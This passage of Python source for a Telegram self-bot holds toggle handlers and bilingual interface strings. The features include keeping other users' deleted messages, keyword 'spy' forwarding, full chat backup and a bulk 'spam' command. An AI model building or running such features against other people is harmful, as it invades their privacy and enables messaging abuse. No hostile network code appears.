message.edit_text(Text(user.Lang).has_turned(turn[-1])) 330 | 331 | @Rjself.on_message(helper.fil('(?i)^answering') , group=0) 332 | @helper.user_Details 333 | @helper.turn 334 | async def answering(bot,message,user,turn): 335 | user.change_answering(turn[0]) 336 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 337 | 338 | @Rjself.on_message(helper.fil('(?i)^autoplay') , group=0) 339 | @helper.user_Details 340 | @helper.turn 341 | async def auto_game_play(bot,message,user,turn): 342 | user.change_werewolf_p(turn[0]) 343 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 344 | 345 | @Rjself.on_message(helper.fil('(?i)^autojoin') , group=0) 346 | @helper.user_Details 347 | @helper.turn 348 | async def auto_game_join(bot,message,user,turn): 349 | user.change_werewolf_j(turn[0]) 350 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 351 | 352 | 353 | @Rjself.on_message(helper.fil('(?i)^delsaver') , group=0) 354 | @helper.user_Details 355 | @helper.turn 356 | async def message_delete_saver(bot,message,user,turn): 357 | user.change_del_saver(turn[0]) 358 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 359 | 360 | @Rjself.on_message(helper.fil('(?i)^contacts') , group=0) 361 | @helper.user_Details 362 | @helper.turn 363 | async def contacts_limit(bot,message,user,turn): 364 | user.change_only_contacts(turn[0]) 365 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 366 | 367 | @Rjself.on_message(helper.fil('(?i)^texts') , group=0) 368 | @helper.user_Details 369 | @helper.turn 370 | async def texts_limit(bot,message,user,turn): 371 | user.change_only_texts(turn[0]) 372 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 373 | 374 | @Rjself.on_message(helper.fil('(?i)^antilogin') , group=0) 375 | @helper.user_Details 376 | @helper.turn 377 | async def anti_login(bot,message,user,turn): 378 | user.change_anti_login(turn[0]) 379 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 380 | 381 | @Rjself.on_message(helper.fil('(?i)^safe') , group=0) 382 | @helper.user_Details 383 | @helper.turn 384 | async def safe_mode(bot,message,user,turn): 385 | user.change_safe_mode(turn[0]) 386 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 387 | 388 | @Rjself.on_message(helper.fil('(?i)^randbio') , group=0) 389 | @helper.user_Details 390 | @helper.turn 391 | async def random_biography(bot,message,user,turn): 392 | user.change_random_bio(turn[0]) 393 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 394 | if not turn[0] : 395 | if user.Bio_Text : 396 | await bot.update_profile(bio=str(user.Bio_Text)) 397 | 398 | @Rjself.on_message(helper.fil('(?i)^attack') , group=0) 399 | @helper.user_Details 400 | @helper.turn 401 | async def attack_Mode(bot,message,user,turn): 402 | user.change_attack_mode(turn[0]) 403 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 404 | 405 | @Rjself.on_message(helper.fil('(?i)^saving') , group=0) 406 | @helper.user_Details 407 | @helper.turn 408 | async def saving_chats(bot,message,user,turn): 409 | user.change_chat_saver(turn[0]) 410 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 411 | 412 | @Rjself.on_message(helper.fil('(?i)^spy') , group=0) 413 | @helper.user_Details 414 | @helper.turn 415 | async def spy(bot,message,user,turn): 416 | user.change_spying(turn[0]) 417 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 418 | 419 | @Rjself.on_message(helper.fil('(?i)^grouplock') , group=0) 420 | @helper.user_Details 421 | @helper.turn 422 | async def add_lock(bot,message,user,turn): 423 | user.change_group_lock(turn[0]) 424 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 425 | 426 | @Rjself.on_message(helper.fil('(?i)^privatelock') , group=0) 427 | @helper.user_Details 428 | @helper.turn 429 | async def private_lock(bot,message,user,turn): 430 | user.change_pv_lock(turn[0]) 431 | await message.edit_text(Text(user.Lang).has_turned(turn[-1])) 432 | 433 | @Rjself.on_message(helper.fil('(?i)^bot') , group=0) 434 | @helper.user_Details 435 | @helper.turn 436 | async def bot_change(bot,message,user,turn): 437 | user.change_bot(turn[0]) 438 | await message.edit_text(Text(user.Lang).bot_turn(turn[-1])) 439 | 440 | 441 | def chat_model(num): 442 | if num ==8 : return 'photo' 443 | elif num ==7 : return 'video' 444 | elif num ==6 : return 'sticker' 445 | elif num ==5 : return 'recording video' 446 | elif num ==4 : return 'playing' 447 | elif num ==3 : return 'recording voice' 448 | elif num ==2 : return 'typing' 449 | elif num ==1 : return 'online' 450 | elif num ==0 : return 'none' 451 | 452 | 453 | def type_model(num): 454 | if num ==3 : return 'edit' 455 | elif num ==2 : return 'copy' 456 | elif num ==1 : return 'bold' 457 | elif num ==0 : return 'none' 458 | 459 | 460 | @Rjself.on_message(helper.fil('(?i)^setting$') , group=0) 461 | @helper.user_Details 462 | async def base_setting(bot,message,user): 463 | offline=None 464 | wel=None 465 | if user.Offline_Answering: 466 | offline=Text(user.Lang).channel_mid_link(user.Offline_Answering,user.Log_Channel) 467 | if user.Welcomer: 468 | wel=Text(user.Lang).channel_mid_link(user.Welcomer,user.Log_Channel) 469 | 470 | await message.edit_text(Text(user.Lang).setting(user.emoji, 471 | type_model(user.Text_Change),user.Contacts_Only,user.Text_Only, 472 | user.Anti_Login , chat_model(user.Chat_Status) ,user.Safe_Mode ,user.Del_Saver , 473 | user.Save_Chats , user.Random_Bio , user.Attack_Mode , user.Spy , user.New_Pv_Lock , user.New_Group_Lock , 474 | user.Auto_WerWolf_Join , user.Auto_WerWolf_Play , user.Auto_Answering , user.Auto_Clean , 475 | user.Auto_Read , user.Auto_Reaction ,wel , user.Love , user.Card_Number , 476 | user.Log_Channel , user.Messages_Channel , user.Bio_Text , offline 477 | )) 478 | 479 | @Rjself.on_message(helper.fil('(?i)^help') , group=0) 480 | @helper.user_Details 481 | @helper.text_adder 482 | async def HELP(bot,message,_,text): 483 | await message.edit_text(text.help) 484 | 485 | # @amiralirj_official - https://www.github.com/amiralirj 486 | # 2022 . -------------------------------------------------------------------------------- /Config/TEXTS.py: -------------------------------------------------------------------------------- 1 | #-----------------+-----------------|\ 2 | # https://www.github.com/amiralirj |-|\ 3 | # https://t.me/amiralirj_official |-|/ 4 | #-----------------+-----------------|/ 5 | class Text : 6 | def __init__(self,lang) -> None: 7 | self.error='there is somthing wrong !' 8 | self.kill5='killed - blocked :)' 9 | self.kill4='🕴=➖=========🔫' 10 | self.kill3='🕴====➖======🔫' 11 | self.kill2='🕴=======➖===🔫' 12 | self.kill1='🕴=========➖=🔫' 13 | 14 | self.cancel_btn = 'cancel' 15 | self.bye = 'Bye Bye !' 16 | self.not_found = 'E404 : does not match any pages. Try another id! ' 17 | 18 | 19 | self.channel_mid_link=lambda id , peer : f'https://t.me/c/1{str(abs(int(peer))).strip("100")}/{int(id)}' 20 | self.message_deleted=lambda id , name , text : f'''DELETED 🗑 : 21 | 22 | 💡 id : {id} 23 | 💡 name : {name} 24 | 25 | 💡 ` {text} `''' 26 | 27 | self.send_spying=lambda id , name , text : f'''SPYING 👀 : 28 | 29 | 💡{id} - {name} 30 | 31 | 💡` {text} `''' 32 | 33 | self.info= lambda User_Info :f''' User Info 34 | {User_Info.mention} 35 | username:@{User_Info.username} 36 | status:{User_Info.status} 37 | pear id: {User_Info.id} 38 | dc id :{User_Info.dc_id }''' 39 | if not lang: 40 | self.all_m_deleted = 'All Messages Deleted !' 41 | self.deleted = 'User has been deleted !' 42 | self.only_text = 'This amount can only be text!' 43 | self.all_removed = 'All values ​​were deleted 🗑' 44 | self.ask_word = '👀: Send the desired word or short sentence that you want answered:' 45 | self.ask_answer ='💡: Submit your desired answer to the word or sentence posted above' 46 | self.askword = '👀: Send the desired word or short text that you want to be spied on:' 47 | self.askdelspy ='🗑 Send the desired word that you want to remove from spy mode:' 48 | self.askdelword ='🗑 Send the desired word that you want to remove from the reply mode:' 49 | self.removed = "The desired value was deleted 🗑" 50 | self.should_replied = '💡: This command must be replayed on a message' 51 | self.muted = "The intended user has muted 🔕" 52 | self.unmuted ="The intended user has unmuted 🔕" 53 | self.locked = 'The group is locked 🔐' 54 | self.unlocked = 'The group is unlocked 🔓' 55 | self.unbanned = "The intended user has unbanned from group ✅" 56 | self.banned = "The intended user has banned from group ✅" 57 | self.stopped = 'is stopped now 🔴' 58 | self.cancel = 'You can also use the word `cancel` to cancel the process! ' 59 | self.cancelled ='process canceled ✅' 60 | self.timeout = 'The amount was not received and the process was canceled ⏱❌' 61 | self.on = 'on' 62 | self.off = 'off' 63 | 64 | 65 | 66 | self.bot_turn=lambda turn : f'''🔴 Bot has turned {turn} 🟢''' 67 | self.temmuted = lambda min : f'The intended user has been muted for {min} minutes 🔕' 68 | self.complited = lambda x : f'💎: process were done {x} times successfully.' 69 | 70 | self.user_restricked='''Dear friend 71 | 🔴 Unfortunately, the restrictions are also applied to your account 72 | Your account will be blocked by the robot, but your chat will remain until confirmation which you will be unblocked after ✅ 73 | ''' 74 | self.attack_mode_is_on='''Dear friend 75 | 🔴 Unfortunately, The attack mode is on and you can't communicate with me right now 🔐 76 | Your account will be blocked by the robot, but your chat will remain until confirmation which you will be unblocked after ✅ 77 | ''' 78 | self.ask_textchange='''Which mode do you choose to change your messages: 79 | edit: in an editable form - the possibility of a flood!! 80 | bold: ** Hello ** 81 | copy: ` Hello ` 82 | none: hello 83 | 84 | 💡: Copy the type you want and send it 85 | ` bold ` - ` copy ` - ` none ` ''' 86 | self.ask_status=''' 87 | ♻️ Choose the desired action that you want to be shown to others at the top of the page and send it: 88 | 89 | ` photo ` : Sending photo 90 | ` video `: Sending video 91 | ` sticker `: Selecting a sticker 92 | ` recording video `: recording the message video 93 | ` playing `: playing 94 | ` recording voice `: Voice is being recorded 95 | ` typing `: Writing 96 | ` online `: Online 97 | ` none `: normal and initial state 98 | 99 | 💡: Copy the type you want and send it 100 | ''' 101 | self.ask_emoji='🤪 Send the emoji you want to react to messages \n or if you want to turn it off, send ` none `.' 102 | 103 | 104 | self.feature_setted=lambda amount :f'''The value {amount} has been set for the desired command ✅ 105 | You can also see all the settings by sending the word ` setting ` ! ''' 106 | 107 | self.has_turned=lambda X : f'''The desired value turned {X} ✅ 108 | You can also see all the settings by sending the word ` setting `!''' 109 | self.askwel='''🌃 Please send the message you want to be sent when someone joins the group: 110 | And also send ` None ` to remove and turning off. 111 | 112 | 💡: This message can be a photo, video or text or anything 113 | 💡: You can also use the following expressions in your text 114 | 115 | {name} : User's name 116 | {username}: User's username 117 | {peer}: numeric ID of the user 118 | {group} : group name 119 | 120 | To use any of the above words, insert {} inside the text 🔋 121 | ''' 122 | self.askcard = '''💳 Please send your desired card number: 123 | And also send ` None ` to remove it.''' 124 | 125 | self.askbio='''🖋️: Send your desired original bio: 126 | (This bio is displayed when "random bio" is turned off 💬) 127 | And also send ` None ` to remove it.''' 128 | 129 | self.askrandbio='''🖋️ :Please send the biography which you want 130 | 131 | 💡: This biography changes every minute, you can also use the words 132 | 💡: you can add biographys with no limit , robot will choose one randomly 133 | 134 | {online}: online status with emoji 135 | {heart}: Hearts with different colors 136 | {love}: All hearts 137 | {time}: hours and minutes 138 | {rand}: a random number between 1 and 1000 139 | {emoji} : Special emojis 140 | {date} : Complete date 141 | {day} : date (only day) 142 | 143 | To use any of the above words, insert {} inside the text🔋''' 144 | 145 | self.askclerk='''Please send the message you want to be sent to those who send messages when you are offline 🌃: 146 | And also send ` None ` to remove the word. 147 | 148 | 💡: This message can be a photo, video or text or anything''' 149 | 150 | self.duplicated= lambda dup : f'🗞 This value has already been registered \n 💡 : {dup}' 151 | 152 | self.askdelbio = lambda bios : f'''Submit the desired bios for deletion: 153 | 💡 List of bios 💡 154 | {bios}''' 155 | self.answer_setted= lambda word , answer : f'''The sent answer and word were added: 156 | 📩 word: `{word}` 157 | 📩 Answer: `{answer}`''' 158 | 159 | self.setting=lambda emoji , type_model , contacts , text_only , login , chat_model , defend , delsaver , chatsaver , randbio ,attack , spy , pvlock , gplock , a_j , a_p , answering , clean , read , reaction , wel , love , card , lchannel , mchannel , mainbio , clerk :f''' 160 | 🪩 dev : @amiralirj_official 161 | 162 | Type model: {type_model} 163 | Only contacts: {emoji(contacts)} 164 | Text only: {emoji(text_only)} 165 | Anti-login: {emoji(login)} 166 | Chat mode: {chat_model} 167 | Safe mode: {emoji(defend)} 168 | Message deletion notification: {emoji(delsaver)} 169 | Save the chat in the database: {emoji(chatsaver)} 170 | Animated and random bio: {emoji(randbio)} 171 | Attack mode: {emoji(attack)} 172 | Spy mode: {emoji(spy)} 173 | New pv lock: {emoji(pvlock)} 174 | New group lock: {emoji(gplock)} 175 | Automatic game join: {emoji(a_j)} 176 | Automatic game play : {emoji(a_p)} 177 | Automatic answering: {emoji(answering)} 178 | Automatic cleaning: {emoji(clean)} 179 | Automatic Reading: {emoji(read)} 180 | Automatic reaction : {reaction} 181 | Greeter and welcomer : {wel} 182 | Love : {love} 183 | Card number: {card} 184 | Logs channel: {lchannel} 185 | Message channel: {mchannel} 186 | Main bio: {mainbio} 187 | clerk mode: {clerk} 188 | Language : ENGLISH 189 | 190 | 🪩 dev: https://www.github.com/amiralirj 191 | ''' 192 | self.help = '''★ TELEGRAM POWERFULL MANAGER ★ 193 | 🪩 DEV : https://www.github.com/amiralirj 194 | 🪩 DEV : @amiralirj_official 195 | 🔴 key sections (on | off) 196 | 197 | ♦︎read `on' or `off' 198 | - Sending messages in real time 199 | 200 | ♦︎answering ` on ` or ` off ` 201 | - Automatic response according to predetermined words 202 | 203 | ♦︎ autoplay ` on ` or ` off ` 204 | - @wererolfbot auto playing 205 | 206 | ♦︎autojoin `on` or `off` 207 | - Auto join in game @wererolfbot 208 | 209 | 🔥delsaver `on` or `off` 210 | - If the message is deleted by any user, that message and its content will be uploaded to the channel or in saved message immediately 211 | 212 | ♦︎contacts `on` or `off` 213 | - Limiting people who are not in your contacts (only those who are in your contacts can send you messages) 214 | 215 | ♦︎texts `on` or `off` 216 | - The contents of photos and... will be deleted and users will only be able to send you text messages 217 | 218 | ♦︎antilogin `on` or `off` 219 | - No one can enter your account after it is turned on 220 | 221 | ♦︎safe `on` or `off` 222 | - Safe mode: Those who do not have a message with you or who have given you less than 200 messages will be archived and muted. 223 | 224 | ♦︎randbio `on` or `off` 225 | - Random and rotating bio according to the sentences you set in advance 226 | 227 | ♦︎attack `on` or `off` 228 | - Attack mode: those who do not send message to you or sent you less than 75 messages will be blocked (by informing them of the attack mode) 229 | 230 | 🔥saving ` on ` or ` off ` 231 | - Saving and backing up all chats will be available even if the chats are deleted 232 | - Command to get desired chat: see [reply] or [id] 233 | 234 | 🔥 spy ` on ` or ` off ` 235 | - Spy mode: the words you set to be spied on, if they are seen in a message, that message will be immediately sent to your channel or saved message. 236 | 237 | 🔥cleaning ` on ` or ` off ` 238 | - Cleaning private chats every day (except pinned ones) 239 | 240 | ♦︎grouplock `on` or `off` 241 | - Locking of add in new groups (the robot will leave when you added to the group) 242 | 243 | ♦︎privatelock `on` or `off` 244 | - Blocking of new private chats along with informing them that this lock is active 245 | 246 | ♦︎ bot `on` or `off` 247 | - Turning the robot on or off 248 | 249 | ☆☆☆☆☆☆☆ 250 | 🔱 Advanced section 🔱 251 | > `Automatic` answering 🕊 252 | ♧ `clearanswers`: clear all automatic answers 253 | ♧ `delanswer`: delete an answer 254 | ♧ `answerlist`: view all keys and answers 255 | ♧ `addanswer`: add answer and key 256 | ★ 257 | > `Espionage` 👀 258 | ♧ `clearspies`: to clear all registered words under observation 259 | ♧ `delspy`: delete a word 260 | ♧ `spylist`: to see all the words and sentences under observation 261 | ♧ `addspy`: add word or sentence for spying 262 | ★ 263 | > Enemy ☠️ 264 | ♧ `delenemy`: add enemy 265 | ♧ `clearenemies`: clear all enemies 266 | ♧ `addenemy`: [reply][id] add enemy 267 | ♧ `enemylist`: view all enemies 268 | ★ 269 | > Animated bio ✒️ 270 | ♧ `biolist`: Random bio list 271 | ♧ `clearbioes`: to clear all registered bios 272 | ♧ `delbio`: Delete only one bio 273 | ♧ `addbio`: Add bio 274 | ★ 275 | > Secretary mode ♂️ 🤵🏼 276 | > If someone sends a message when you are offline, this feature will send the message you recorded to that person. 277 | ♧ `clerk` 278 | ★ 279 | ♧ `setmainbio`: The main bio that is placed on your profile when you turn off the random bio 280 | ★ 281 | > Store feature 🏪 282 | ♧ `setcard`: register card number or any other text 283 | ♧ `card`: Display card number or registered text quickly 284 | ★ 285 | > Love ♥️ 286 | > Sends wish times by heart to the registered person 287 | ♧ `dellove`: [in chat] Add love 288 | ♧ `setlove`: [in chat] remove love 289 | ★ 290 | > Robot language 291 | ♧ `lang` `en` or `fa` 292 | ★ 293 | > Welcome 🃏 294 | ♧ `setwel` 295 | ★ 296 | > Automatic reaction 🤪 297 | > All messages sent in private chat will reacted to the recorded emoji at the same moment 298 | ♧ `reaction` 299 | ★ 300 | > Your status 🗯 301 | > The status that is displayed at the top of the page (Writing...) 302 | ♧ `status` 303 | ★ 304 | > Type mode 📝 305 | ♧ `typemodel` 306 | ★ 307 | > View archived chats 308 | > To use and record chats, first turn on saving messages 309 | ♧ `see`: [reply][in chat][id] Send a chat file with that person 310 | ♧ `allchats`: send all chat files 311 | ★ 312 | 313 | 🤪 OTHERS 🤪 314 | `kill` [reply] : animated blocking 315 | `spam` [num of spams] | [text] - spam 100 | Rj 316 | ` wiki ` [your_search] 317 | ` wikifa ` [your_search] 318 | `forall` 319 | `forpv` 320 | `replytag` [your text] 321 | `tag` 322 | `stop` 323 | `ban` 324 | `ban` 325 | `lock` 326 | `unlock` 327 | `mute` 328 | `temmute` [reply or peer id] | [time] 329 | `unmute` 330 | `leave` 331 | `info` [reply] 332 | `block` 333 | `unblock` 334 | `mydel` delete all outgoing messages 335 | 🪩 DEV : https://www.github.com/amiralirj 336 | 🪩 DEV : @amiralirj_official 337 | ''' 338 | 339 | #------------------------------------------------------------------------------------------------------------------------------------- 340 | 341 | if lang : 342 | self.all_m_deleted = 'تمامی پیام ها پاک شد !' 343 | self.deleted = 'کاربر حذف شده است !' 344 | self.only_text = 'این مقدار فقط میتواند متن باشد !' 345 | self.all_removed = 'تمامی مقدار ها پاک شد 🗑' 346 | self.ask_word='👀 : کلمه یا جمله ی کوتاه مورد نظر که میخواهید مورد پاسخگویی قرار بگیرد را ارسال کنید : ' 347 | self.ask_answer = '💡: پاسخ مورد نظر خود را به کلمه یا جمله ی ارسال شده ی بالا را ارسال کنید ' 348 | self.askword='👀 : کلمه یا جمله ی کوتاه مورد نظر که میخواهید مورد جاسوسی قرار بگیرد را ارسال کنید : ' 349 | self.askdelspy = '🗑 کلمه ی مورد نظر که میخواهید از حالت جاسوسی حذف شود را ارسال کنید : ' 350 | self.askdelword = '🗑 کلمه ی مورد نظر که میخواهید از حالت پاسخگویی حذف شود را ارسال کنید : ' 351 | self.removed='مقدار مورد نظر حذف شد 🗑' 352 | self.should_replied='💡 : این دستور باید بر روی پیامی ریپلای شود ' 353 | self.muted = 'کاربر مورد نظر میوت شد 🔕' 354 | self.unmuted = 'کاربر مورد نظر انمیوت شد 🔔' 355 | self.locked = 'گروه قفل شد 🔐' 356 | self.unlocked = 'گروه باز شد 🔓' 357 | self.unbanned = 'کاربر مورد نظر از گروه آنبن شد ✅ ' 358 | self.banned = 'کاربر مورد نظر از گروه بن شد ✅ ' 359 | self.stopped = 'متوقف شد 🔴 ' 360 | self.cancel = 'همچنین میتوانید واژه ` cancel ` را برای لغو فرایند استفاده کنید !' 361 | self.cancelled = 'لغو شد ✅' 362 | self.timeout = 'مقداری دریافت نشد و فرایند لغو شد ⏱❌' 363 | self.on = 'روشن' 364 | self.off='خاموش' 365 | 366 | self.bot_turn=lambda turn : f'''🔴 ربات {turn} شد 🟢''' 367 | self.temmuted = lambda min : f'کاربر مورد نظر برای {min} دقیقه میوت شد 🔕' 368 | self.complited = lambda x : f'💎 : قرایند {x} بار به صورت موفقیت امیز انجام شد .' 369 | self.user_restricked='''دوست گرامی 370 | 🔴 متاسفانه محدودیت های اعمال شده برای اکانت شما هم اعمال میشود 371 | اکانت شما توسط ربات بلاک میشود ولی پیوی شما باقی میماند تا بعد از تایید انبلاک شوید ✅ 372 | ''' 373 | self.attack_mode_is_on='''دوست گرامی 374 | حالت حمله روشن است و شما نمیتوانید درحال حاضر با من ارتباط داشته باشید 🔐 375 | اکانت شما توسط ربات بلاک میشود ولی پیوی شما باقی میماند تا بعد از تایید انبلاک شوید ✅ 376 | ''' 377 | self.ask_textchange='''کدام حالت را برای عوض شدن پیام های خود انتخاب میکنید : 378 | edit : به صورت ادیت شونده -- احتمال فلاد !! 379 | bold : ** سلام ** 380 | copy : ` سلام ` 381 | none : سلام 382 | 383 | 💡 : نوع مورد نظر خود را کپی کنید و ارسال کنید 384 | ` bold ` - ` copy ` - ` none ` ''' 385 | 386 | self.ask_status=''' 387 | ♻️ عمل مورد نظری که میخواهید در بالای صفحه به دیگران نشان داده شود را انتخاب کنید و ارسال نمایید : 388 | 389 | ` photo ` : درحال ارسال عکس 390 | ` video ` : درحال ارسال ویدیو 391 | ` sticker ` : درحال انتخاب کردن استیکر 392 | ` recording video ` : درحال گرفتن ویدیو مسیج 393 | ` playing ` : درحال بازی کردن 394 | ` recording voice ` : درحال ظبط وویس 395 | ` typing ` : درحال نوشتن 396 | ` online ` : انلاین 397 | ` none ` : حالت عادی و اولیه 398 | 399 | ''' 400 | 401 | self.ask_emoji='🤪 ایموجی مورد نظر خود را بفرستید \n یا اگر میخواهید آن را خاموش کنید عبارت ` none ` را ارسال کنید .' 402 | 403 | self.feature_setted=lambda amount :f'''مقدار {amount} برای دستور مورد نظر تنظیم شد ✅ 404 | همچنین با فرستادن واژه ` setting ` میتوانید تمامی تنظیمات را مشاهده کنید ! ''' 405 | 406 | self.has_turned=lambda X : f'''مقدار مورد نظر {X} شد✅ 407 | همچنین با فرستادن واژه ` setting ` میتوانید تمامی تنظیمات را مشاهده کنید ! ''' 408 | 409 | self.askwel='''لطفا پیامی که میخواهید هنگام عضو شدن فردی در گروه ارسال شود را بفرستید 🌃: 410 | و همچنین برای حذف واژه ی `None` را ارسال نمایید . 411 | 412 | 💡 : این پیام میتواند عکس ، فیلم یا متن یا هرچیزی باشد 🔋 413 | 💡 : همچنین میتوانید از عبارات زیر در متن خود استفاده کنید 414 | 415 | {name} : نام کاربر 416 | {username} : یوزرنیم کاربر 417 | {peer} : ایدی عددی کاربر 418 | {group} : نام گروه 419 | 420 | برای استفاده از هرکدام از واژه های فوق را همراه با {} داخل متن جایگذاری کنید 🔋 421 | ''' 422 | 423 | 424 | self.askcard = '''💳 لطفا شماره کارت مورد نظر خود را ارسال کنید : 425 | و همچنین برای حذف واژه ی `None` را ارسال نمایید . ''' 426 | 427 | self.askbio='''🖋️ : بیو اصلی مورد نظر خود را ارسال کنید : 428 | ( این بیو هنگام خاموش بودن " بیوی شانسی " به نمایش در می آید 💬 ) 429 | و همچنین برای حذف واژه ی `None` را ارسال نمایید . ''' 430 | 431 | self.askrandbio='''🖋️ : لطفا بیوی مورد نظر خود را بفرستید 432 | 💡 : این بیو هر دقیقه عوض میشود ، همچنین میتوانید از واژه های 433 | 434 | {online} : وضعیت انلاینی با ایموجی 435 | {heart} : قلب ها با رنگ های متفاوت 436 | {love} : تمامی قلب ها 437 | {time} : ساعت و دقیقه 438 | {rand} : عددی رندوم بین ۱ تا ۱۰۰۰ 439 | {emoji} : ایموجی های خاص 440 | {date} : تاریخ کامل 441 | {day} : تاریخ (فقط روز) 442 | 443 | برای استفاده از هرکدام از واژه های فوق را همراه با {} داخل متن جایگذاری کنید 🔋''' 444 | 445 | self.askclerk='''لطفا پیامی که میخواهید هنگام افلاین شدنتون به کسانی که پیام میدهند ارسال شود را بفرستید 🌃: 446 | و همچنین برای حذف واژه ی `None` را ارسال نمایید . 447 | 448 | 💡 : این پیام میتواند عکس ، فیلم یا متن یا هرچیزی باشد 🔋''' 449 | 450 | self.duplicated= lambda dup : f'🗞 این مقدار قبلا ثبت شده است \n 💡 : {dup}' 451 | 452 | self.askdelbio = lambda bios : f'''بیو های مورد نظر را برای حذف ارسال کنید : 453 | 💡 لیست بیو ها 💡 454 | {bios}''' 455 | self.answer_setted= lambda word , answer : f'''پاسخ و کلمه ی ارسال شده اضافه شد : 456 | 📩 کلمه : `{word}` 457 | 📩 پاسخ : `{answer}`''' 458 | 459 | self.setting=lambda emoji , type_model , contacts , text_only , login , chat_model , defend , delsaver , chatsaver , randbio ,attack , spy , pvlock , gplock , a_j , a_p , answering , clean , read , reaction , wel , love , card , lchannel , mchannel , mainbio , clerk :f''' 460 | 🪩 dev : @amiralirj_official 461 | 462 | مدل تایپ : {type_model} 463 | فقط کانتکت ها : {emoji(contacts)} 464 | فقط متن : {emoji(text_only)} 465 | انتی لاگین : {emoji(login)} 466 | حالت چت :{chat_model} 467 | حالت امن : {emoji(defend)} 468 | اطلاع رسانی پاک کردن پیام : {emoji(delsaver)} 469 | ذخیره کردن چت در دیتابیس : {emoji(chatsaver)} 470 | بیو متحرک : {emoji(randbio)} 471 | حالت حمله : {emoji(attack)} 472 | جاسوسی : {emoji(spy)} 473 | قفل پیوی جدید : {emoji(pvlock)} 474 | قفل گروه جدید : {emoji(gplock)} 475 | جوین خودکار بازی : {emoji(a_j)} 476 | بازی کردن خودکار : {emoji(a_p)} 477 | پاسخگویی خودکار : {emoji(answering)} 478 | پاکسازی خودکار : {emoji(clean)} 479 | خواندن پیام ها : {emoji(read)} 480 | ری اکشن زدن : {reaction} 481 | خوشامد گو : {wel} 482 | عشق : {love} 483 | شماره کارت : {card} 484 | کانال لاگ ها : {lchannel} 485 | کانال پیام ها : {mchannel} 486 | بیوی اصلی : {mainbio} 487 | حالت منشی : {clerk} 488 | زبان : فارسی 489 | 490 | 🪩 dev : https://www.github.com/amiralirj 491 | ''' 492 | self.help = '''★ TELEGRAM POWERFULL MANAGER ★ 493 | 🪩 DEV : https://www.github.com/amiralirj 494 | 🪩 DEV : @amiralirj_official 495 | 496 | 🔴 بخش های کلیدی ( on | off ) 🟢 497 | 498 | ♦︎read `on` or `off` 499 | - سین شدن پیام ها در لحظه 500 | 501 | ♦︎answering `on` or `off` 502 | - پاسخدهی خودکار با توجه به کلمات از پیش تعین شده 503 | 504 | ♦︎autoplay `on` or `off` 505 | - بازی کردن خودکار @wererolfbot 506 | 507 | ♦︎autojoin `on` or `off` 508 | - جوین شدن خودکار در بازی @wererolfbot 509 | 510 | 🔥delsaver `on` or `off` 511 | - در صورت پاک شدن پیام توسط هر کاربری سریعا آن پیام و محتوای آن در کانال فروارد میشود 512 | 513 | ♦︎contacts `on` or `off` 514 | - محدود کردن افرادی که در کانتکت شما نیستند (فقط کسانی که جزو کانتکتتون هستند میتوانند به شما پیام بدهند) 515 | 516 | ♦︎texts `on` or `off` 517 | - محتوا های عکس و ... پاک میشود و کاربران فقط قادر به ارسال پیام در نوع متن به شما میباشند 518 | 519 | ♦︎antilogin `on` or `off` 520 | - بعد از روشن شدن کسی نمیتواند وارد اکانت شما بشود 521 | 522 | ♦︎safe `on` or `off` 523 | - حالت امن : کسانی که با شما پیوی ندارند یا کمتر از 200 پیام به شما داده اند ارشیو و میوت میشوند 524 | 525 | ♦︎randbio `on` or `off` 526 | - بیو رندوم و چرخشی طبق جمله هایی که از پیش تعیین کردید 527 | 528 | ♦︎attack `on` or `off` 529 | - حالت حمله : کسانی که با شما پیوی نداشتند یا کمتر از 75 پیام به شما دادند بلاک میشوند (با اطلاع دادن حالت حمله به آن ها) 530 | 531 | 🔥saving `on` or `off` 532 | - ذخیره کردن و بک اپ گرفتن تمامی چت ها , حتی اگر چت ها پاک شوند نیز قابل دسترس خواهد بود 533 | - دستور گرفتن چت مورد نظر : see [reply] or [id] 534 | 535 | 🔥spy `on` or `off` 536 | - حالت جاسوسی : کلماتی که تعیین کردید جاسوسی شوند اگر در پیامی دیده بشوند سریعا آن پیام به در کانال یا سیو مسیجتون فروارد میشوند 537 | 538 | 🔥cleaning `on` or `off` 539 | - پاکسازی پیوی ها هرروز (بجز پین شده ها) 540 | 541 | ♦︎grouplock `on` or `off` 542 | - قفل شدن اد در گروه های جدید ( ربات درجا بعد از اد شدن لفت میدهد) 543 | 544 | ♦︎privatelock `on` or `off` 545 | - بلاک شدن پیوی های جدید همراه با اطلاع به آنها که این قفل فعال است 546 | 547 | ♦︎bot `on` or `off` 548 | - روشن یا خاموش شدن ربات 549 | 550 | 551 | 552 | ☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆ 553 | 🔱 بخش پیشرفته 🔱 554 | > پاسخ گویی خودکار 🕊 555 | ♧ clearanswers : پاکسازی تمام جواب های خودکار 556 | ♧ delanswer : پاک کردن یک جواب 557 | ♧ answerlist : مشاهده ی تمام کلید ها و جواب ها 558 | ♧ addanswer : اضافه کردن جواب و کلید 559 | ★ 560 | > جاسوسی 👀 561 | ♧ clearspies پاکسازی تمام کلمات تحت نظر ثبت شده 562 | ♧ delspy پاک کردن یک کلمه 563 | ♧ spylist مشاهده ی تمامی کلمات و جمله های تحت نظر 564 | ♧ addspy اضافه کردن کلمه یا جمله جهت جاسوسی 565 | ★ 566 | > دشمن ☠️ 567 | ♧ delenemy اضافه کردن دشمن 568 | ♧ clearenemies پاکسازی تمامی دشمن ها 569 | ♧ addenemy [reply][id] اضافه کردن دشمن 570 | ♧ enemylist مشاهده ی تمامی دشمنان 571 | ★ 572 | > بیو متحرک ✒️ 573 | ♧ biolist لیست بیو های چرخشی و متحرک 574 | ♧ clearbioes پاکسازی تمامی بیو های ثبت شده 575 | ♧ delbio پاک کردن فقط یک بیو 576 | ♧ addbio اضافه کردن بیو 577 | ★ 578 | > حالت منشی 🤵🏼‍♂️ 579 | > اگر 